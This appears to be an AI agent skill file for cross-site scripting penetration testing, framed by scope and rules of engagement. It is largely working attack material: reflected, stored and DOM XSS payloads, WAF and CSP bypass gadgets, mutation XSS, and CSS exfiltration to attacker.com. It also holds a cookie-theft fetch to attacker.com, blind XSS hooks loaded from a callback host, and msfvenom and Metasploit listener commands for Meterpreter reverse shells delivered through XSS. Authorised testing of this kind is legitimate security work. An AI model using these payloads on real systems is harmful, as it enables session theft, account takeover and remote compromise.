| name | xss-pentest |
| description | Guides cross-site scripting testing with context-aware payloads, filter evasion, CSP bypass, and blind XSS techniques. Use when user input appears in HTML, JavaScript, or DOM sinks, or reflected/stored content suggests script injection is possible. |
Cross-Site Scripting Pentest
Prerequisites
- Target is in scope (
scope/scope-master.txt, engagement ROE).
- Load
web-app-pentest for overall web testing context.
Triggers
- User input reflected in HTML body, attributes, or JavaScript strings without encoding
- Stored content (comments, profiles, messages) renders raw HTML or script-like text
- DOM sinks:
innerHTML, document.write, eval, location/hash/query parsing
- URL parameters echoed in page title, error messages, or JSONP callbacks
- File upload accepted for HTML, SVG, XML, or markdown-rendered content
- CSP headers present but potentially bypassable
Workflow
Task Progress:
- [ ] Map injection points (reflected, stored, DOM) and output context
- [ ] Test with low-impact probes and context-specific payloads
- [ ] Identify filter/WAF behavior and pivot to bypass payloads
- [ ] Escalate to session theft, keylogging, or blind XSS callback
- [ ] Document with request/response evidence and impact PoC
Detection
Basic reflected probes
CLI (primary for web vulns):
dalfox url "http://<target>/page?q=test" --silence --worker 50
XSStrike -u "http://<target>/page?q=test" --crawl
Payloads: <script>alert(1)</script>, "><img src=x onerror=alert(1)>, '"><svg/onload=alert(1)>
MSF MCP: No direct module. Use msf_search_modules(query="xss") or msf_search_modules(query="cross site scripting") for related auxiliary modules.
Context-specific probes
CLI (primary):
dalfox url "http://<target>/page" --data "name=test" --method POST --silence
| Context | Probe |
|---|
| HTML body | <script>alert(1)</script> |
| Attribute | " onmouseover=alert(1) " |
| JS string | ';alert(1)// |
| URL/href | javascript:alert(1) |
MSF MCP: No direct module. Use msf_generate_payload only for post-exploit browser delivery chains.
DOM-based XSS
CLI (primary):
dalfox url "http://<target>/page#test" --mining-dom --silence
Trace source (location.hash, document.URL, postMessage) to sink (innerHTML, eval).
MSF MCP: No direct module.
Blind XSS
CLI (primary):
dalfox url "http://<target>/feedback" --blind "<callback-server>" --custom-payload "<script src=//callback.attacker.com></script>"
Payload: "><script src=//callback.attacker.com/hook.js></script>
Use XSS Hunter, ezXSS, or Burp Collaborator for admin-panel callbacks.
MSF MCP: No direct module.
Exploitation by variant
Reflected and stored XSS
CLI (primary):
XSStrike -u "http://<target>/comment" --data "body=PAYLOAD" --fuzzer
dalfox file urls.txt --silence --output result.txt
Stored: submit in profile, comments, filenames; trigger on victim page load.
MSF MCP: No direct module.
mXSS (mutation XSS)
CLI (primary):
curl -X POST "http://<target>/comment" -d "body=<noscript><p title=\"</noscript><img src=x onerror=alert(1)>\">"
Test sanitizer bypass via <noscript>, <svg><style>, <math>, table nesting that mutates on re-parse.
MSF MCP: No direct module.
DOM clobbering
CLI (primary):
<a id=defaultAvatar href="javascript:alert(1)">
<form id=defaultAvatar><input id=name value="https://attacker.com/avatar.jpg">
MSF MCP: No direct module.
Scriptless attacks (CSS injection exfil)
CLI (primary):
<input style="background:url('http://attacker.com/?leak='attr(value))" value="SECRET">
<style>@import url('http://attacker.com/css?c='+document.cookie);</style>
<link rel=stylesheet href="http://attacker.com/?d=leak">
Exfil via CSS attribute selectors, @import, or @font-face when script execution blocked.
MSF MCP: No direct module.
Trusted Types bypass
CLI (primary):
defaultTrustedTypes.createPolicy('default',{createHTML:s=>s}).createHTML('<img src=x onerror=alert(1)>')
Check for missing require-trusted-types-for, policy gaps on legacy sinks, or TrustedHTML policy that passes through unsanitized input.
MSF MCP: No direct module.
HTML5 and SVG upload XSS
CLI (primary):
dalfox url "http://<target>/upload" --method POST --data "file=test.svg" --silence
Payloads: <details open ontoggle=alert(1)>, <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
MSF MCP: No direct module. Chain to upload-pentest for file delivery.
Filter/WAF bypass
CLI (primary):
dalfox url "http://<target>/page?q=test" --waf-evasion --delay 500 --silence
XSStrike -u "http://<target>/page?q=test" --skip-dom
Techniques: case variation <ScRiPt>, encoding %3Cscript%3E, \u003cscript\u003e, event handlers (onfocus, onanimationstart), tag mutation <svg/onload=alert(1)>
MSF MCP: No direct module.
CSP bypass
CLI (primary):
dalfox url "http://<target>/page?q=test" --silence --only-poc r
Check: unsafe-inline, unsafe-eval, JSONP on script-src, whitelisted CDN gadgets (jQuery, Angular), <base href="https://attacker.com/">, nonce reuse.
Common CSP gadgets by framework:
- AngularJS (1.x):
<div ng-app ng-csp><script src="//cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>{{constructor.constructor('alert(1)')()}}</div>
- Vue.js (2.x):
{{_c.constructor('alert(1)')()}}
- DOMPurify bypass: Check version-specific bypasses at portswigger research
MSF MCP: No direct module.
Impact escalation
| Stage | CLI technique |
|---|
| PoC | alert(1), console.log(document.cookie) |
| Session theft | fetch('https://attacker.com/?c='+document.cookie) |
| Keylogging | Stored XSS JS keylogger |
| Account takeover | CSRF token extraction + action chaining |
| Internal pivot | XSS to SSRF via fetch('/admin/internal') |
MSF MCP: After XSS yields admin access, use msf_search_modules(query="<product>") for follow-on exploits.
Post-Exploit MSF Bridge
When XSS achieves session theft or code execution, bridge to MSF:
Session theft to shell
MSF MCP (preferred):
msf_start_listener(
engagement_id="<id>",
payload="windows/x64/meterpreter/reverse_https",
lhost="<attacker>",
lport=443
)
msf_generate_payload(
engagement_id="<id>",
payload="windows/x64/meterpreter/reverse_https",
format="raw",
options={"LHOST": "<attacker>", "LPORT": 443}
)
CLI fallback:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<attacker> LPORT=443 -f raw -o payload.bin
Deliver via XSS: <script src="http://<attacker>/hook.js"></script> with BeEF or custom JS loader.
Tool reference
dalfox url "http://<target>/page?q=test" --silence --worker 50 --waf-evasion
dalfox file urls.txt --blind "https://callback.attacker.com" --silence
XSStrike -u "http://<target>/page?q=test" --crawl --skip
XSStrike -u "http://<target>/page" --data "q=test" --fuzzer
Burp Collaborator for blind XSS. JWT/session cookies in impact PoC only within ROE.
Related skills
web-app-pentest - overall web testing flow
upload-pentest - XSS via SVG/HTML file upload
ai-llm-pentest - XSS in AI chat UIs and markdown rendering
red-team-evasion - OPSEC when using external callback services
request-smuggling-pentest - smuggling can bypass XSS filters and CSP enforcement